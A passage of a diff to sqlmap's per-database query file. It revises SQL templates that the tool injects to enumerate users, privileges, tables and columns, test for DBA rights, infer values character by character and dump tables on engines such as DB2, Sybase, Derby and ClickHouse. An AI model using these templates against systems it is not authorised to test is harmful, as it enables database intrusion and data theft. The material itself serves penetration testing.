         <is_dba query="CURRENT_USER='SYSDBA'"/>
         <users>
-            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
+            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
         </users>
         <tables>
             <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
             <blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
         </tables>
         <privileges>
-            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
+            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
         </privileges>
         <roles/>
         <statements/>
@@ -463,7 +504,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT FIRST 1 SKIP %d %s FROM %s ORDER BY %s" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <search_db/>
         <search_table>
@@ -533,8 +574,8 @@
    </dbms>
 
     <dbms value="Sybase">
-        <cast query="CONVERT(VARCHAR(4000),%s)"/>
+        <cast query="CONVERT(VARCHAR(16384),%s)"/>
-        <length query="LTRIM(STR(LEN(%s)))"/>
+        <length query="LTRIM(STR(LEN(%s+'.')-1))"/>
         <isnull query="ISNULL(%s,' ')"/>
         <delimiter query="+"/>
         <limit query="SELECT TOP %d "/>
@@ -548,7 +589,7 @@
         <substring query="SUBSTRING((%s),%d,%d)"/>
         <concatenate query="%s+%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
-        <hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
+        <hex query="BINTOSTR(CONVERT(VARBINARY(16384),%s))"/>
         <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
         <banner query="SELECT @@VERSION"/>
         <current_user query="SELECT SUSER_NAME()"/>
@@ -576,16 +617,16 @@
             <blind/>
         </dbs>
         <tables>
-            <inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
+            <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS name FROM %s..sysobjects,%s..sysusers WHERE %s..sysobjects.uid=%s..sysusers.uid AND %s..sysobjects.type IN ('U','V')"/>
             <blind/>
         </tables>
         <columns>
-            <inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
+            <inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns WHERE %s..syscolumns.id=object_id('%s.%s')" condition="[DB]..syscolumns.name"/>
             <blind/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -602,9 +643,9 @@
     </dbms>
 
     <dbms value="IBM DB2">
-        <!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
+        <!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
-        <cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
+        <cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
-        <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
+        <length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
         <limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
@@ -616,11 +657,11 @@
         <count query="COUNT(%s)"/>
         <comment query="--"/>
         <!-- TODO -->
-        <substring query="SUBSTR((%s),%d,%d)"/>
+        <substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
         <hex query="HEX(%s)"/>
-        <inference query="SUBSTR((%s),%d,1)>'%c'"/>
+        <inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
         <!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
         <banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
         <current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
@@ -648,8 +689,8 @@
             <blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
         </dbs>
         <tables>
-            <inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
+            <inband query="SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V')" condition="tabschema"/>
-            <blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
+            <blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')) AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')"/>
         </tables>
         <columns>
             <inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
@@ -657,19 +698,19 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER (ORDER BY %s) AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
             <blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
         </search_db>
         <search_table>
-            <inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
+            <inband query="SELECT tabschema,tabname FROM syscat.tables WHERE (%s) AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
-            <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
+            <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.tables WHERE (%s) AND type IN ('T','V')) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.tables WHERE (%s) AND type IN ('T','V')" count2="SELECT COUNT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
         </search_table>
         <search_column>
-            <inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
+            <inband query="SELECT tabschema,tabname FROM syscat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
-            <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
+            <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM syscat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
         </search_column>
     </dbms>
 
@@ -726,7 +767,8 @@
             <inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -790,7 +832,8 @@
             <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -917,7 +960,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT z FROM (SELECT %s AS z,row_number() over(ORDER BY %s) AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
@@ -925,7 +968,7 @@
         </search_db>
         <search_table>
             <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
-            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
         </search_table>
         <search_column>
             <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
@@ -935,8 +978,8 @@
 
     <dbms value="Apache Derby">
         <!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
-        <cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
+        <cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
-        <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
+        <length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
         <limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
@@ -976,7 +1019,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <users>
             <inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
@@ -1002,7 +1045,7 @@
    </dbms>
 
     <dbms value="Vertica">
-        <cast query="CAST(%s AS CHARACTER(10000))"/>
+        <cast query="CAST(%s AS VARCHAR(10000))"/>
         <length query="LENGTH(%s)"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
@@ -1026,7 +1069,7 @@
         <hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
         <table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
         <!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
-        <column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
+        <column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%s%%.%s'"/>
         <is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
         <check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
         <users>
@@ -1134,11 +1177,11 @@
         <substring query="SUBSTR(%s,%d,%d)"/>
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
-        <hex query="TO_HEX(%s)"/>
+        <hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
-        <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
+        <inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
-        <banner/>
+        <banner query="version()"/>
         <current_user query="CURRENT_USER"/>
-        <current_db/>
+        <current_db query="current_schema"/>
         <hostname/>
         <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
         <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
@@ -1214,7 +1257,7 @@
         </passwords>
         <privileges>
             <inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
-            <blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
+            <blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s'"/>
         </privileges>
         <roles>
             <inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
@@ -1235,7 +1278,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <search_db>
             <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
@@ -1321,8 +1364,9 @@
     </dbms>
 
     <dbms value="ClickHouse">
-        <cast query="CAST(%s AS String)"/>
+        <cast query="CAST(%s AS Nullable(String))"/>
         <length query="length(%s)"/>
+        <hex query="hex(%s)"/>
         <isnull query="ifNull(%s, '')"/>
         <delimiter query="||"/>
         <limit query="LIMIT %d OFFSET %d"/>
@@ -1343,7 +1387,7 @@
         <hostname query="hostName()"/>
         <table_comment/>
         <column_comment/>
-        <is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
+        <is_dba query="(SELECT count() FROM system.grants WHERE user_name=currentUser() AND access_type='ALL')&gt;0"/>
         <check_udf/>
         <users>
             <inband query="SELECT name FROM system.users"/>
@@ -1424,7 +1468,7 @@
         <passwords/>
         <privileges>
             <inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
-            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
+            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
         </privileges>
         <roles/>
         <statements>
@@ -1445,7 +1489,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
@@ -1484,7 +1529,7 @@
         <current_db query="CURRENT_USER"/>
         <hostname/>
         <table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
-        <column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
+        <column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
         <is_dba query="CURRENT_USER='DBA'"/>
         <check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
         <users>
@@ -1507,12 +1552,12 @@
             <blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
         </tables>
         <columns>
-            <inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
+            <inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
-            <blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
